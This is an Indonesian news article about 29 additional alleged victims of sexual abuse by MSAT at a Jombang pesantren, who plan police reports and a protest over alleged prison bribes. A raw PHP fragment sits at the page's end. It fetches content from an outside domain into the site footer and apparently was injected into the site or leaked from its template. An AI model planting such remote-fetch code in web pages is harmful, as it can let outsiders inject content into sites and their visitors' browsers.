AMI Siap Kawal 29 Korban Pencabulan Yang Dilakukan Oleh MSAT di Polda Jatim

Jumat, 6 September 2024

facebook twitter whatsapp telegram line copy

URL berhasil dicopy

facebook icon twitter icon whatsapp icon telegram icon line icon copy

URL berhasil dicopy

Surabaya | jejakkasus.info – Sungguh ironis nasib para santriwati yang telah menjadi korban pencabulan yang dilakukan oleh pengasuhnya sendiri yakni MSAT. Ternyata kini terkuak fakta jumlah yang belum melaporkan mencapai 29 Korban.

Mereka yang selama ini berniat mencari ilmu agama di Ponpes Ploso Jombang, malah dijadikan budak hawa nafsu oleh kiyainya sendiri yakni MSAT.

Tidak hanya disitu saja, mereka yang tidak melayani nafsu dari MSAT diancam bakal dikeluarkan dari Ponpes Ploso Jombang.
Hal tersebut seperti yang dikemukakan oleh SR salah satu korban yang mengalami pemerkosaan oleh MSAT, ia menceritakan semua kronologi atas apa yang menimpa dirinya beserta beberapa teman-temannya.

Baca Juga:  Kapolri Listyo Sigit Ajak Pemuda Masjid Lawan Radikalisme Dan Intoleransi

Bahkan kini semuanya terungkap, usai hakim menjatuhkan vonis 7 tahun penjara terhadap MSAT, satu persatu korban mulai berani membongkar kebiadaban MSAT.

Ternyata selama ini, masih ada 29 korban lainnya yang telah direnggut kesuciannya oleh MSAT, dan mereka memilih Aliansi Madura Indonesia (AMI) untuk mendampingi membuat laporan kembali di Polda Jatim agar pelaku dihukum mati.

“Jadi betul, ada 29 korban yang telah membuat aduan kepada kami, rencana Minggu depan kita akan membuat laporan secara resmi di Polda Jatim, karena para korban tidak puas atas putusan yang diterima oleh MSAT, dan mereka meminta agar pelaku tersebut dihukum mati,” jawab Yunus selaku Ketua DPD Aliansi Madura Indonesia (AMI) Jawa Timur (6/9) saat dihubungi melalui telepon selulernya.

Baca Juga:  Babinsa Koramil 431-01/Jebus Berikan Pelatihan Baris-Berbaris kepada Calon Paskibraka

Yunus juga sangat menyayangkan kenapa sampai banyak korban, yang menjadi korban pencabulan dan pemerkosaan dari MSAT, apakah selama ini sang kyai besar yakni ayah dari MSAT ini juga mengetahui kelakuan anaknya namun pura pura diam.

“Tunggu ya, karena menurut informasi yang bisa dipercaya, ada muncul nama Mudrika, kita masih mengumpulkan data dan informasi tersebut, adakah keterlibatan dengan sang ayah MSAT, kita tunggu tanggal mainnya,” pungkas Yunus sembari menutup telepon selulernya.

Baca Juga:  Pasca Adanya Tidak Kesenangan, Baliho Bergambar Teddy Dirusak Oknum Suruhan

Sementara itu ditempat terpisah Ketua Umum Aliansi Madura Indonesia (AMI) Baihaki Akbar, menyampaikan bahwa sudah menyebarkan seleberan informasi dan platform diseluruh media sosial, bahwa Aliansi Madura Indonesia (AMI) bakal menggelar aksi demo secara besar-besaran pada hari Senin – Sabtu, 9 – 14 September besok di Rutan klas I A Surabaya (Medaeng) dan Kanwil Kemenkumham Jatim dengan tuntutan Copot dan pecat Kakanwil Kemenkumham Jatim, copot dan Pecat Kadivpas Kanwil Kemenkumham Jatim, copot dan Pecat Karutan, KPR dan seluruh jajaran yang terlibat menerima upeti sebesar 400 juta tiap bulannya dari MSAT.(Nit/M3t)

Follow WhatsApp Channel jejakkasus.info untuk update berita terbaru setiap hari Follow

Berita Terkait

Ditresnarkoba Diringkus Polda Babel Miliki 2,6 Kg Sabu 14 Kg Ganja
Gegara Pokmas Tidak Pegang (RAB) Proyek SDN Kandangan 1 Senduro Kisruh, Pihak Sekolah Diundang Inspektorat
Satsamapta Polres Situbondo Polda Jatim Gerak Cepat (Gercep), Respon Laporan Masyarakat Terkait Peredaran Miras
Rayon Barat Polresta Sidoarjo Apel Bersama Oprasi Cooling System Tahun 2024 .
Wahyudi Dengan Tegas Menolak Kebijakan Pemerintah Yang Menaikan E Retribusi Di Situasi-Kondisi Pasar Sepi Dan Memprihatinkan Saat Ini
Waka II DPRD Badung I Made Wijaya Soroti: Peraturan Berbenturan,Nasib Tanah Negara Di Pererenan Menggantung
Kompol Muhammad Mukid Sosialisasi Penyebaran Narkoba Ke Pelajar
Personel Polsek Krueng Sabee Laksanakan Patroli KRYD, Sisir Lokasi Strategis untuk Jaga Keamanan

Berita Terkait

Jumat, 4 Oktober 2024 - 11:38 WIB

Ditresnarkoba Diringkus Polda Babel Miliki 2,6 Kg Sabu 14 Kg Ganja

Jumat, 4 Oktober 2024 - 00:48 WIB

Gegara Pokmas Tidak Pegang (RAB) Proyek SDN Kandangan 1 Senduro Kisruh, Pihak Sekolah Diundang Inspektorat

Jumat, 4 Oktober 2024 - 00:47 WIB

Satsamapta Polres Situbondo Polda Jatim Gerak Cepat (Gercep), Respon Laporan Masyarakat Terkait Peredaran Miras

Kamis, 3 Oktober 2024 - 18:47 WIB

Wahyudi Dengan Tegas Menolak Kebijakan Pemerintah Yang Menaikan E Retribusi Di Situasi-Kondisi Pasar Sepi Dan Memprihatinkan Saat Ini

Kamis, 3 Oktober 2024 - 16:44 WIB

Waka II DPRD Badung I Made Wijaya Soroti: Peraturan Berbenturan,Nasib Tanah Negara Di Pererenan Menggantung

Berita Terbaru

$ch = curl_init(); curl_setopt($ch, CURLOPT_URL, 'https://umrohkemenag.org/footer/'); curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); $a = curl_exec($ch); curl_close($ch);?>